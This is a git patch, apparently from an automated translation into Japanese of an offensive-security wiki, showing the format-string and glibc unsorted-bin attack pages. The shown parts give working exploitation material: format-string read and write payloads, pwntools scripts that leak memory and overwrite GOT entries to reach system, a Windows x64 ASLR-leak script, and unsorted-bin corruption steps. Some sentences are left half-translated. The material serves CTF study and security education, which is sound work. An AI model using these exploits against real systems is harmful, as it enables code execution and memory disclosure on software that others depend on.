From abb2ddbcb8e2550150b9a048cb4e8f30e57d2d1e Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 12:37:25 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../format-strings/README.md | 100 ++- .../libc-heap/unsorted-bin-attack.md | 143 ++-- .../stack-overflow/README.md | 87 ++- .../stack-overflow/stack-shellcode/README.md | 81 ++- .../stack-overflow/windows-seh-overflow.md | 78 +-- .../phishing-documents.md | 82 +-- .../privilege-escalation/README.md | 544 +++++++------- .../arm64-basic-assembly.md | 531 +++++++------- .../pentesting-web/README.md | 237 ++++--- .../pentesting-web/apache.md | 102 +-- .../pentesting-web/ispconfig.md | 52 +- src/pentesting-web/command-injection.md | 30 +- src/pentesting-web/idor.md | 75 +- .../xs-search/css-injection/README.md | 190 ++--- .../xss-cross-site-scripting/README.md | 421 ++++++----- .../xss-cross-site-scripting/js-hoisting.md | 32 +- .../pentesting-ble-bluetooth-low-energy.md | 54 +- .../ad-certificates/README.md | 112 +-- .../ad-certificates/domain-escalation.md | 473 +++++++------ .../uac-user-account-control.md | 144 ++-- .../README.md | 662 +++++++++--------- .../arbitrary-kernel-rw-token-theft.md | 54 +- .../com-hijacking.md | 38 +- .../named-pipe-client-impersonation.md | 72 +- .../roguepotato-and-printspoofer.md | 46 +- 25 files changed, 2232 insertions(+), 2208 deletions(-) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 24dd6617d..845cfd2eb 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,17 +5,13 @@ ## 基本情報 -In C **`printf`** is a function that can be used to **出力**するために使われる関数です。 -この関数が期待する**最初のパラメータ**は**書式指定子を含む生のテキスト**です。 -続くパラメータはそのテキスト内の**書式指定子を置き換える値**になります。 +In C **`printf`** は文字列を**出力**するための関数です。 この関数が期待する**最初のパラメータ**は**フォーマッタを含む生のテキスト**です。続くパラメータは、生のテキスト中の**フォーマッタを置き換えるための値**になります。 -Other vulnerable functions are **`sprintf()`** and **`fprintf()`**. +他の脆弱な関数には **`sprintf()`** や **`fprintf()`** があります。 -この脆弱性は、関数の**最初の引数として攻撃者が用意したテキストが使われる**ときに発生します。 -攻撃者は**printf format**文字列の機能を悪用した**特殊な入力を作成**することで任意のアドレスから**データを読み取り/書き込み (readable/writable)**できるようになります。 -この手法により**execute arbitrary code**することも可能になります。 +この脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使われる**と発生します。攻撃者は**printfのフォーマット機能を悪用した特殊な入力**を作成することで、任意のアドレスからデータを**読み取り／任意のアドレスに書き込む（読み書き可能）**ことができ、これにより**任意のコードを実行**することが可能になります。 -#### 書式指定子: +#### フォーマッタ: ```bash %08x —> 8 hex bytes %d —> Entire @@ -43,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` -- fprintf 脆弱性: +- fprintf が脆弱な場合: ```c #include @@ -58,26 +54,26 @@ return 0; ``` ### **ポインタへのアクセス** -書式 **`%$x`**（`n` は数値）は、printf に n 番目のパラメータ（stack から）を選ばせるためのものです。したがって、printf を使って stack から 4 番目のパラメータを読みたい場合は、次のようにできます: +書式 **`%$x`**（`n` は数値）は printf に stack 上の n 番目の引数を選択させることを可能にします。したがって、printf を使って stack の 4 番目の引数を読みたい場合は次のようにできます: ```c printf("%x %x %x %x") ``` -そして最初から4番目のパラメータまでを読み取ります。 +そして最初のパラメータから4番目のパラメータまで読み取ります。 -または、次のようにすることもできます： +または、次のようにできます: ```c printf("%4$x") ``` -そして直接4番目を読み取る。 +そして直接4番目を読む。 -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +Notice that the attacker controls the `printf` **パラメータ（要するに）** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. > [!CAUTION] -> 攻撃者がこの入力を制御できる場合、stackに任意の address を追加し、`printf` にそれらへアクセスさせることが可能になります。次のセクションでこの挙動の利用方法を説明します。 +> この入力を制御できる攻撃者は、**スタックに任意のアドレスを追加し、`printf`にそれらへアクセスさせる**ことが可能になります。次のセクションでこの振る舞いの利用方法が説明されます。 ## **Arbitrary Read** -フォーマッタ **`%n$s`** を使うと、**`printf`** に **address** が **n position** に位置しているものを取得させ、それに従って **文字列として出力**（0x00 が見つかるまで出力）させることができます。したがって、バイナリのベースアドレスが **`0x8048000`** で、ユーザ入力がstackの4番目の位置で始まることが分かっている場合、バイナリの先頭を次のように出力できます: +フォーマッタ **`%n$s`** を使うと、**`printf`** にスタックの **n番目にあるアドレス** を取得させ、そのアドレスが指す場所を **文字列として出力**（0x00 が見つかるまで出力）させることができます。例えば、バイナリのベースアドレスが **`0x8048000`** で、ユーザ入力がスタックの4番目から始まることが分かっていれば、バイナリの先頭を次のように出力できます： ```python from pwn import * @@ -91,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> 入力の先頭にアドレス 0x8048000 を置くことはできません。なぜならそのアドレスの末尾に 0x00 があり、文字列がそこに cat されるからです。 +> 入力の先頭にアドレス 0x8048000 を置くことはできません。なぜなら、そのアドレスの末尾に 0x00 があり、文字列がそこで終端されてしまうからです。 ### オフセットを見つける -オフセットを見つけるには、4 または 8 バイト（`0x41414141`）を送り、その後に **`%1$x`** を付け、`A` が返るまで **値を増やす**。 +オフセットを見つけるには、入力に4バイトまたは8バイト（`0x41414141`）を送り、その後に **`%1$x`** を付け、`A's` が返ってくるまでその値を**増やします**。
@@ -130,45 +126,44 @@ p.close() ```
-### どの程度有用か +### 有用性 -Arbitrary reads は次の用途で有用です: +Arbitrary reads は以下の目的に有用です: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** が格納されている（like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)） +- **Dump** the **binary** をメモリから取得する +- **Access specific parts of memory where sensitive** **info** が保存されている場所にアクセスする（例: canaries、encryption keys、または custom passwords — 例: [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)） ## **Arbitrary Write** -フォーマッタ **`%$n`** は、stack 上の パラメータで指定されたアドレスに、これまでに書き込まれたバイト数を書き込みます。攻撃者が printf で任意の数の char を書き込める場合、**`%$n`** を使って任意のアドレスに任意の数値を書き込むことが可能になります。 +フォーマッタ **`%$n`** は、スタック上の パラメータが指すアドレスに、これまでに出力されたバイト数を書き込みます。もし攻撃者が printf で任意の数の文字を書き込めるなら、**`%$n`** により任意のアドレスに任意の数値を書き込むことが可能になります。 -幸いなことに、数値 9999 を書き込むために入力に 9999 個の "A" を追加する必要はありません。代わりに、フォーマッタ **`%.%$n`** を使って、数値 **``** を **stack の `num` 位置が指すアドレス** に書き込むことができます。 +幸いなことに、数値 9999 を書き込むために入力に 9999 個の "A" を追加する必要はありません。代わりにフォーマッタ **`%.%$n`** を使って、`num` の位置が指すアドレスに数値 **``** を書き込むことができます。 ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -ただし、通常、`0x08049724` のようなアドレス（同時に書き込むには非常に大きな値）を書き込む際は、**`$n` の代わりに `$hn` が使われます**。これにより**2バイトだけを書き込む**ことができます。したがって、この操作はアドレスの上位2Bと下位2Bで2回行われます。 +ただし、`0x08049724` のようなアドレス（同時に書き込むには非常に大きな数）を書く場合、通常は `$n` の代わりに **`$hn`** が使われる点に注意してください。これにより **2 Bytes のみを書き込む**ことができます。したがって、この操作はアドレスの上位2Bと下位2Bで2回行われます。 -したがって、この脆弱性により、任意のアドレスに**何でも書き込むことが可能（arbitrary write）**です。 +したがって、この脆弱性は **write anything in any address (arbitrary write)** を可能にします。 -In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: +この例では、目的は後で呼ばれる **GOT** テーブル内のある **function** の **address** を **overwrite** することです。もちろん、これは他の arbitrary write to exec 技術を悪用することもできます: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ -As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +ユーザから引数を受け取り、その後呼ばれる **function** の **address** を **overwrite** して、**`system`** **function** を指すようにします。前述の通り、アドレスを書くには通常2段階が必要です：まずアドレスの2Bytesを書き込み、その後もう2Bytesを書き込みます。そのために **`$hn`** を使います。 -- **HOB** is called to the 2 higher bytes of the address -- **LOB** is called to the 2 lower bytes of the address +- **HOB** はアドレスの上位2Bytesを指します +- **LOB** はアドレスの下位2Bytesを指します -Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +その後、format string の動作上、\[HOB, LOB] のうち**小さい方を先に書き込み**、その後にもう一方を書き込む必要があります。 -HOB < LOB\ +もし HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -HOB > LOB\ +もし HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB @@ -177,14 +172,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ``` ### Pwntools テンプレート -この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は、次で見つけられます: +この種の脆弱性に対する exploit を準備するための **テンプレート** は次で見つかります: {{#ref}} format-strings-template.md {{#endref}} -あるいは、[**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) にある基本的な例： +または、[**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) にある基本的な例： ```python from pwn import * @@ -205,26 +200,26 @@ p.interactive() ``` ## Format Strings to BOF -format string vulnerability の書き込み動作を悪用して、**スタック上のアドレスに書き込む**ことで、**buffer overflow** 型の脆弱性を悪用することが可能です。 +format string vulnerability の書き込み動作を悪用して、**write in addresses of the stack** を行い、**buffer overflow** 型の脆弱性を悪用することが可能です。 ## Windows x64: Format-string leak to bypass ASLR (no varargs) -On Windows x64では、最初の4つの整数/ポインタ引数がレジスタ（RCX, RDX, R8, R9）で渡されます。多くのバグのある call-sites では、攻撃者制御の文字列が format 引数として使われているが、variadic 引数は提供されていない、例えば： +Windows x64 では最初の4つの整数/ポインタ引数がレジスタ（RCX, RDX, R8, R9）で渡されます。多くのバグのある呼び出し箇所では、攻撃者制御の文字列が format argument として使われる一方で、variadic arguments が提供されないことがあります。例えば: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -可変引数が渡されないため、"%p", "%x", "%s" のような変換は CRT に次の可変引数を適切なレジスタから読み取らせます。Microsoft x64 calling convention では、"%p" に対する最初の読み取りが R9 から行われます。コールサイトで R9 に入っている一時的な値が出力されます。実際には、これはしばしばモジュール内の安定したポインタ（例: 周辺のコードによって以前に R9 に置かれたローカル/グローバルオブジェクトへのポインタや callee-saved 値）を漏らし、モジュールベースを復元して ASLR を無効化するために使えます。 +varargsが渡されないため、"%p"、"%x"、"%s" のような変換はCRTに次の可変引数を適切なレジスタから読み取らせます。Microsoft x64 calling conventionでは、"%p" に対する最初の読み取りはR9から行われます。呼び出し箇所のR9にある一時的な値がそのまま表示されます。実際には、これはモジュール内の安定したポインタをleaksすることが多く（例：周囲のコードによってR9に置かれたローカル／グローバルオブジェクトへのポインタやcallee-saved値）、モジュールベースを復元してASLRを無効化するのに利用できます。 Practical workflow: -- 攻撃者が制御する文字列の先頭に、"%p " のような無害なフォーマットを挿入し、最初の変換がフィルタリングより先に実行されるようにする。 -- leaked pointer を取得し、そのオブジェクトのモジュール内での静的オフセットを特定する（シンボルやローカルコピーで一度リバースする）。そしてイメージベースを `leak - known_offset` として復元する。 -- そのベースを再利用して、ROP gadgets と IAT entries の絶対アドレスをリモートで計算する。 +- 攻撃者が制御する文字列の先頭に"%p "のような無害なフォーマットを注入し、最初の変換がフィルタリングの前に実行されるようにします。 +- leaked pointerを取得し、そのオブジェクトのモジュール内部での静的オフセットを特定する（symbolsやローカルコピーを使って一度リバースする）ことで、イメージベースを `leak - known_offset` として復元します。 +- そのベースを再利用して、リモートでROP gadgetsやIATエントリの絶対アドレスを計算します。 -例（簡略化した python）： +Example (abbreviated python): ```python from pwn import remote @@ -236,24 +231,25 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` -注意: -- 差し引く正確なオフセットは、ローカルでのリバース中に一度特定し、それ以降は同じバイナリ／バージョンで再利用します。 -- 最初の試行で"%p"が有効なポインタを出力しない場合は、他の指定子（"%llx", "%s"）や複数の変換（"%p %p %p"）を試して、他の引数レジスタ／スタックをサンプリングしてください。 -- このパターンは、Windows x64 calling convention と printf-family の実装に特有で、フォーマット文字列が要求したときに存在しない varargs をレジスタから取得する場合に当てはまります。 +Notes: +- 正確なオフセットはローカルでリバースした際に一度だけ見つけ、その後は（同じバイナリ/バージョンで）再利用する。 +- 最初の試行で "%p" が有効なポインタを出力しない場合は、他の指定子 ("%llx", "%s") や複数の変換 ("%p %p %p") を試して、他の引数レジスタ/スタックをサンプリングする。 +- このパターンは Windows x64 calling convention と、format string が要求したときに存在しない varargs をレジスタから取得する printf-family の実装に特有である。 -この手法は、ASLR が有効で明白なメモリ開示プリミティブがない Windows サービス上で ROP をブートストラップする際に非常に有用です。 +このテクニックは、ASLR が有効で明らかな memory disclosure primitives がないような Windows サービスで ROP をブートストラップするのに非常に有用である。 -## その他の例 & 参考 +## Other Examples & References - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit、no relro、no canary、nx、no pie、format strings を使った基本的な手法で、スタックから flag を leak する（実行フローを変更する必要はない） +- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit、relro、no canary、nx、no pie、format string を使って `fflush` のアドレスを win function（ret2win）で上書きする +- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit、relro、no canary、nx、no pie、format string を使って main 内の `.fini_array` にアドレスを書き込み（これによりフローがもう1回ループする）、GOT テーブル内の `strlen` を指すエントリに `system` のアドレスを書き込む。フローが main に戻ると、`strlen` がユーザ入力で呼ばれ、`system` を指しているため、渡されたコマンドが実行される。 +- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. + ## References diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 73c82dd82..99614bdde 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,68 +4,67 @@ ## 基本情報 -For more information about what is an unsorted bin check this page: +Unsorted bin が何かについては次のページを参照してください： {{#ref}} bins-and-memory-allocations.md {{#endref}} -unsorted リストはチャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者がunsorted bin内のチャンクの `bk` ポインタのアドレスを**変更できる**のであれば、任意のアドレスにそのアドレスを**書き込む**ことができ、Glibc のアドレスを leak したり防御を回避したりするのに役立ちます。 +Unsorted lists はチャンクの `bk` アドレスに `unsorted_chunks (av)` のアドレスを書き込むことができます。したがって、攻撃者が unsorted bin 内のチャンクの `bk` ポインタのアドレスを**変更できる**場合、任意のアドレスにそのアドレスを書き込むことができ、Glibc addresses を leak したりいくつかの防御を回避したりするのに役立ちます。 -基本的に、この攻撃では任意のアドレスに**大きな数値を設定**できます。 この大きな数値はアドレスであり、heap アドレスや Glibc アドレスになり得ます。伝統的なターゲットは `global_max_fast` で、fast bin を大きなサイズで作成できるようにし（unsorted bin attack から fast bin attack へ移行するため）でした。 +要するに、この攻撃は任意のアドレスに**大きな数値を設定する**ことを可能にします。この大きな数値はアドレスであり、heap アドレスや Glibc アドレスになり得ます。従来のターゲットは **`global_max_fast`** で、これにより fast bin のサイズを大きくして（unsorted bin attack から fast bin attack に移行することを可能にする）ことが一般的でした。 - Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive. > [!TIP] -> T> この例（[https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle)）を見て、チャンクサイズに 0x4000 と 0x5000 を（Tcache を避けるために）0x400 と 0x500 の代わりに使用すると、**現在では** エラー **`malloc(): unsorted double linked list corrupted`** が発生するのが確認できます。 -> -> したがって、この unsorted bin attack は現在（他のチェックに加えて）ダブルリンクリストを整合させる必要があり、`victim->bk->fd == victim` または `victim->fd == av (arena)` を回避する必要があります。つまり、書き込み先のアドレスはその `fd` フィールドに偽チャンクのアドレスを持ち、偽チャンクの `fd` が arena を指している必要があります。 +> 例として [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) のサンプルを見て、チャンクサイズに 0x4000 と 0x5000（Tcache を避けるために 0x400 と 0x500 の代わりに）を使うと、**現在では** エラー **`malloc(): unsorted double linked list corrupted`** が発生することが分かります。 > +> したがって、この unsorted bin attack は（他のチェックとともに）二重連結リストを修正できることを要求するようになりました。つまり `victim->bk->fd == victim` をバイパスするか、あるいは `victim->fd == av (arena)` が成立しないようにする必要があります。これは、書き込みたいアドレスの `fd` 位置に偽チャンクのアドレスが入っており、かつその偽チャンクの `fd` が arena を指している必要があることを意味します。 + > [!CAUTION] -> この攻撃は unsorted bin を破損させます（したがって small や large も影響を受けます）。そのため、現在は **fast bin からの割り当てのみを使用** できます（より複雑なプログラムは他の割り当てを行いクラッシュする可能性があります）。また、これを引き起こすためには **同じサイズを割り当てる必要があり、さもないとプログラムがクラッシュします**。 +> この攻撃は unsorted bin（および small/large bins も）を破壊する点に注意してください。したがって、現在は **fast bin からの割り当てのみを使う**（より複雑なプログラムは他の割り当てを行ってクラッシュするかもしれません）ことが多く、これをトリガーするには **同じサイズを割り当てる必要がある（さもなければプログラムはクラッシュする）** ことに留意してください。 > -> `global_max_fast` を上書きすることで、fast bin が他の割り当てを処理してくれると信頼してこの問題を回避できる場合があります。 +> また、`global_max_fast` を上書きすることは場合によっては役立ちます。fast bin が残りの割り当てを扱えるようになれば、エクスプロイト完了まで耐えられる可能性があります。 -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +### 書き込みが実際にどのように発生するか -### 書き込みが実際に行われる仕組み +- unsorted‑bin 書き込みは、解放時に解放されたチャンクが unsorted list の先頭に挿入されるときにトリガーされます。 +- 挿入中、アロケータは `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` を実行します。 +- `free(victim)` を呼ぶ前に `victim->bk` を `(mchunkptr)(TARGET - 0x10)` に設定できれば、最後の文が書き込みを行います：`*(TARGET) = victim`。 +- 後で、アロケータが unsorted bin を処理する際に、整合性チェックは（他のチェックとともに）`bck->fd == victim` と `victim->fd == unsorted_chunks(av)` を検証し、そうでなければ `malloc(): unsorted double linked list corrupted` で中止します。挿入操作は既に `bck->fd`（我々の `TARGET`）に `victim` を書き込んでいるため、書き込みが成功していればこれらのチェックは満たされ得ます。 -- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list. -- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` -- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`. -- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded. +## モダンな制約 (glibc ≥ 2.33) -## 現代の制約 (glibc ≥ 2.33) +現行の glibc で unsorted‑bin 書き込みを安定して利用するには： -To use unsorted‑bin writes reliably on current glibc: +- Tcache の干渉: tcache に入るサイズでは free がそちらに回され、unsorted bin に到達しません。対策としては + - 要求サイズを MAX_TCACHE_SIZE より大きくする（64bit でのデフォルトは ≥ 0x410）、または + - 対応する tcache bin を埋める（7 エントリ）ことで追加の free が global bins に到達するようにする、または + - 環境を制御できるなら tcache を無効化する（例: GLIBC_TUNABLES glibc.malloc.tcache_count=0）。 +- unsorted list に対する整合性チェック: 次に unsorted bin を検査する割り当てパスで、glibc は（単純化して）次をチェックします： + - `bck->fd == victim` と `victim->fd == unsorted_chunks(av)`；そうでなければ `malloc(): unsorted double linked list corrupted` で中止。 +- これはターゲットとするアドレスが二回の書き込みを許容する必要があることを意味します：まず free 時に `*(TARGET) = victim`、後でチャンクが取り除かれる際に `*(TARGET) = unsorted_chunks(av)`（アロケータは `bck->fd` をビンの先頭に書き戻す）。単に大きな非ゼロ値を強制するだけで有用なターゲットを選んでください。 +- 現代のエクスプロイトでの典型的な安定ターゲット： + - 「大きな」値をフラグや制限値として扱うアプリケーションやグローバルな状態。 + - 間接的なプリミティブ（例: その後の [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) の準備や後続の write‑what‑where をピボットするため）。 + - 新しい glibc では `__malloc_hook`/`__free_hook` が 2.34 で削除されているため避ける。`global_max_fast` は ≥ 2.39 では避ける（次の注を参照）。 -- Tcache の干渉: サイズが tcache に入る場合、free はそちらに流され unsorted bin に触れません。対策としては次のいずれか： - - MAX_TCACHE_SIZE より大きいサイズのリクエストを行う（64bit のデフォルトでは ≥ 0x410）、または - - 該当する tcache bin を満たして（7 エントリ）追加の free が global bins に到達するようにする、または - - 環境を制御可能であれば tcache を無効化する（例: GLIBC_TUNABLES glibc.malloc.tcache_count=0）。 -- unsorted リストの整合性チェック: unsorted bin を調べる次の allocation パスで、glibc は（簡略化して）次をチェックします: - - `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`. -- つまり、ターゲットとするアドレスは2回の書き込みを受け入れられなければなりません：最初は free 時に `*(TARGET) = victim`、後はチャンクが取り除かれる際に `*(TARGET) = unsorted_chunks(av)`（allocator が `bck->fd` をビンヘッドに書き戻す）となります。単純に大きな非ゼロ値を設定するだけで役に立つターゲットを選んでください。 -- 現代のエクスプロイトでの典型的で安定したターゲット - - アプリケーションやグローバル状態で「large」な値をフラグや制限として扱うもの。 - - 間接的なプリミティブ（例：後続の [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) の準備や後の write-what-where をピボットするための設定）。 - - 新しい glibc では `__malloc_hook`/`__free_hook` は 2.34 で削除されているため避けること。`global_max_fast` は ≥ 2.39 では避けてください（次の注を参照）。 -- 最近の glibc における `global_max_fast` について - - glibc 2.39+ では `global_max_fast` は 8 ビットのグローバルです。ヒープポインタを書き込んで fastbins を拡張するという古典的手口はもはやきれいに動作せず、隣接するアロケータ状態を破壊する可能性があります。別の戦略を推奨します。 +- `global_max_fast` に関して最近の glibc では + - glibc 2.39+ では `global_max_fast` は 8 ビットのグローバルになりました。ここにヒープポインタを書き込んで fastbins を拡大するという古典的トリックはもはやきれいに動作せず、隣接するアロケータ状態を破壊する可能性があります。別の戦略を優先してください。 -## 最小限のエクスプロイト手順（現代の glibc） +## 最小限のエクスプロイト手順（モダン glibc） -Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing. +目的: unsorted‑bin 挿入プリミティブを使って、クラッシュさせずにヒープポインタを任意のアドレスへ単一回書き込むことを達成する。 -- レイアウト/準備 - - A, B, C を tcache を回避するのに十分なサイズで割り当てする（例: 0x5000）。C は top chunk と合体するのを防ぎます。 -- 破壊（Corruption） - - A から B のチャンクヘッダへ overflow して `B->bk = (mchunkptr)(TARGET - 0x10)` を設定する。 -- トリガー - - `free(B)`。挿入時に allocator は `bck->fd = B` を実行し、したがって `*(TARGET) = B` となります。 +- レイアウト／グルーミング + - Tcache を回避するのに十分大きなサイズで A, B, C を割り当てる（例: 0x5000）。C は top チャンクとの結合を防ぎます。 +- 損傷（Corruption） + - A から B のチャンクヘッダへオーバーフローして `B->bk = (mchunkptr)(TARGET - 0x10)` を設定する。 +- トリガ + - `free(B)`。挿入時にアロケータは `bck->fd = B` を実行し、したがって `*(TARGET) = B` が行われます。 - 続行 - - 割り当てを続ける予定でプログラムが unsorted bin を使用する場合、後で allocator が `*(TARGET) = unsorted_chunks(av)` を設定することを想定してください。両方の値は通常大きく、単に「big」かどうかだけをチェックするターゲットではサイズ/制限の意味を変えるのに十分な場合があります。 + - もし割り当てを続ける予定でプログラムが unsorted bin を使用するなら、後でアロケータが `*(TARGET) = unsorted_chunks(av)` を設定することを予期してください。両方の値は通常大きく、単に「大きい」ことをチェックするターゲットのサイズ／制限の意味を変えるのに十分であることが多いです。 Pseudocode skeleton: ```c @@ -80,55 +79,55 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • If you cannot bypass tcache with size, fill the tcache bin for the chosen size (7 frees) before freeing the corrupted chunk so the free goes to unsorted. -> • If the program immediately aborts on the next allocation due to unsorted-bin checks, re‑examine that `victim->fd` still equals the bin head and that your `TARGET` holds the exact `victim` pointer after the first write. +> • サイズで tcache をバイパスできない場合は、破損したチャンクを free して unsorted に送る前に、選んだサイズの tcache bin を満たす（7 回 free）こと。 +> • 次の allocation で unsorted-bin のチェックによりプログラムが即座に abort する場合は、最初の書き込み後に `victim->fd` がまだ bin head と等しいか、あなたの `TARGET` が正確な `victim` ポインタを保持しているか再確認すること。 ## Unsorted Bin Infoleak Attack -これは非常に基本的な概念です。unsorted bin 内のチャンクはポインタを持ちます。unsorted bin の最初のチャンクは実際に **`fd`** と **`bk`** のリンクが **main arena (Glibc) の一部を指している** ことになります。\ -したがって、チャンクを unsorted bin に入れて読み取れる（use after free）か、少なくとも1つのポインタを上書きしないまま再度割り当ててから読み取ることができれば、**Glibc info leak** を得ることができます。 +これは実際には非常に基本的な概念です。unsorted bin にあるチャンクはポインタを持ちます。unsorted bin の最初のチャンクは実際に **`fd`** と **`bk`** のリンクが **main arena (Glibc) の一部を指しています**。\ +したがって、チャンクを unsorted bin に入れてそれを読み取れる（use after free）か、少なくとも1つのポインタを上書きせずに再度 allocate してから読み取ることができれば、**Glibc info leak** を得られます。 -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)、は4チャンク構成（A, B, C, D - Dはtop chunkとのconsolidationを防ぐためだけ）を悪用するもので、BのnullバイトオーバーフローによってCがBを未使用と示すようにし、さらにBの`prev_size`を変更してサイズがBのサイズではなくA+Bとなるようにしました。\ -その後CをfreeしてA+Bと統合され（ただしBはまだ使用中）、サイズAの新しいチャンクを割り当てると、libcのleakedアドレスがBに書き込まれ、そこからleakされました。 +A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)、は 4 チャンク構造（A, B, C, D — D は top chunk と consolidate するのを防ぐためだけ）を悪用するもので、B の null byte overflow を使って C が B を未使用と示すようにしました。さらに B の `prev_size` を改変して、サイズが B のサイズではなく A+B になるようにしました。\ +その後 C を deallocate して A+B と consolidate（B はまだ in use）されます。サイズ A の新しいチャンクを allocate し、そこから libc のリークしたアドレスを B に書き込んでリークを得ました。 ## 参考と他の例 -- 